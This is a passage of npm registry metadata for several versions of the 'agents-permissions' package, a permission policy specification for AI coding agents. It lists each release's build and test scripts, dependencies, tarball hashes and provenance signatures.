Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.3.0_1778500769999_0.22487305616256736","host":"s3://npm-registry-packages-npm-production"}},"4.3.1":{"name":"agents-permissions","version":"4.3.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.3.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"b699e7c7f0a47ff0fcd12491962b36c724623e8e","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.3.1.tgz","fileCount":51,"integrity":"sha512-HYQpeK1tP2L4VALuXgY6QfIHq+m3y829QG4JNwj/10pSsgo/ciMP8wjkbVCTcHdkj5fB7jw5GNPGccdQpeltJw==","signatures":[{"sig":"MEQCIGZRaBUn+pLFYZfc+V5GbWXojT9VmHQahO88J5gOxK7DAiBqnHgcCo0wfFj1v8lcENTU5+rz8n9HuZAQv9XAUBsGXQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.3.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":656439},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.3.1_1778504056469_0.9662894148105672","host":"s3://npm-registry-packages-npm-production"}},"4.4.0":{"name":"agents-permissions","version":"4.4.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.4.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"aaf474766b02f6abd36949248eccdf469cd54df9","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.4.0.tgz","fileCount":51,"integrity":"sha512-K0EAASu9JYr2HL3b6F7SZDq8iS3Ps29vTuukoLl1VwmdBRhXD+Xy1GjY4tXO6ivDVgVa5NtO9TOaA1GI20u0xA==","signatures":[{"sig":"MEUCIQDgNh7tVnviYJJOS6U0PyJyKQSbkexoFi5VDcOn+iXU8AIgcl8qJDMeelDU6Tib5p4VPRex/rz/QtvoG+wHYRjojMo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":657215},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.4.0_1778504491741_0.6035734659971745","host":"s3://npm-registry-packages-npm-production"}},"4.5.0":{"name":"agents-permissions","version":"4.5.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.5.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"efc4f9584bd37c8d47434b3b3809d365e0b81a47","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.5.0.tgz","fileCount":51,"integrity":"sha512-ZqQ64hrYNNJgq2+0fI3xUAxhaDG0elxnXCS075gSDT/k5NkeFZHnqWw6yY8o77HuVJXNha6j3VKH9vihHiNxIw==","signatures":[{"sig":"MEUCICl/2Sd/q3zJnDftshESx43SHN41bcFtZ+jsGbkPJFCjAiEA8mwZ/y+vQ2fRyVhdB9ZPbnL3WHiZOjJ/tGdmJ6ZZ9oE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":660269},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.5.0_1778504873346_0.8303349227550054","host":"s3://npm-registry-packages-npm-production"}},"4.6.0":{"name":"agents-permissions","version":"4.6.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.6.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"973b0c376459ba8891b028056685511e1c77fa65","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.6.0.tgz","fileCount":51,"integrity":"sha512-BMl4KAmcC9HZD++6pkK1OcJsctK7PxIJzGLcNsmByLS23qfv0igZ/zyD4lQZ8+Vw5I1tv2uyW8uBvue+BwQyZA==","signatures":[{"sig":"MEQCID3e4+imMqOQSUI27l939eRsZlhz3/muAGpbPCzk/yDAAiAwsSFUdCbsbSPM8NGYIMg8dhh0ypVZ5r1wJyPyIsgDng==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.6.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":662600},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.6.0_1778506029964_0.8862040890646463","host":"s3://npm-registry-packages-npm-production"}},"4.7.0":{"name":"agents-permissions","version":"4.7.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.7.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"98c281221c8ff0c3517ea2f3b7f93b1bbc9d38d0","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.7.0.tgz","fileCount":51,"integrity":"sha512-HqwKGec9ZXcAFNVEEkU3HjFSIiM/lDmDnF8VtHOGgkDvVD6jRvVANHULB8GPZ7KWYkYDh8pfDM1HZYpvAW9RPw==","signatures":[{"sig":"MEUCIQDw7V+JxNT0Eio5lg/B9rT9NupWdChNHcDA0Z2ZspLzbAIgFHy4h+oaNjofp+Y8ZBzoVzz6KbK88PShqBLm0gvqO8Q=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.7.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":678676},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.7.0_1778508056688_0.03306039068982436","host":"s3://npm-registry-packages-npm-production"}},"4.7.1":{"name":"agents-permissions","version":"4.7.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.7.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"250e5b63dc726fc6b1197e9e93e33e07a83ecfe2","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.7.1.tgz","fileCount":51,"integrity":"sha512-l7vKdyzMWaRf2BdBuJT2eA92hQA3VAfsuGQzHUlmvxmB4gvRm734Ulce1m75b3HKIVSY8b0fWwVufoiESRtlKg==","signatures":[{"sig":"MEQCIAYh582J+PUcmMe22hEDLhLy5c/r0+h+BDfTMUShdLT2AiB0oz1ndPig+/OywgRmy7KTBbWR/082Sf+5KsQpOSKKHg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.7.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":681154},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.7.1_1778508235596_0.05073726500031772","host":"s3://npm-registry-packages-npm-production"}},"4.8.0":{"name":"agents-permissions","version":"4.8.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.8.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"1fdb4a71631359b655e96d6e11425f1c3ff5ab2e","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.8.0.tgz","fileCount":57,"integrity":"sha512-LCqvjHr+Z4O6+pMXuoDwiLbq02GyAVRMwbYn5pd2VTZlzOWlsWNdKnQT9zMT2BmQ5PmHAZrmEZveAOliAn5g9w==","signatures":[{"sig":"MEYCIQDbOQmIYPONsfeyIgtp/SUIhdR05316UAOTfHNDS20+TgIhANtw7ymHaxCFLqb4/11PGqyShA8oO0nTZuxRowzy2lSc","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.8.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":706451},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.8.0_1778508912752_0.8518812512862779","host":"s3://npm-registry-packages-npm-production"}},"4.9.0":{"name":"agents-permissions","version":"4.9.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.9.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"161cec1b6b658f9f53c625a0458d7e534a7a44c6","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.9.0.tgz","fileCount":57,"integrity":"sha512-hxZHeTFWnR33G0elXhFgril5FhVuKKbJulYOlGTh66lA6rzE+Hwl9NZra0vJUKt81e7PB8ZFsoKoUjQsUpeWbQ==","signatures":[{"sig":"MEUCIQCy4ZGz1qr0WPZWmmmt56511a0w/fTuYpVUBDOEp8RFMwIgYQJLlTfqD8L9IBBVlaY2u37XmqFp09M/6fIgnqYecWA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.9.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":723163},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test 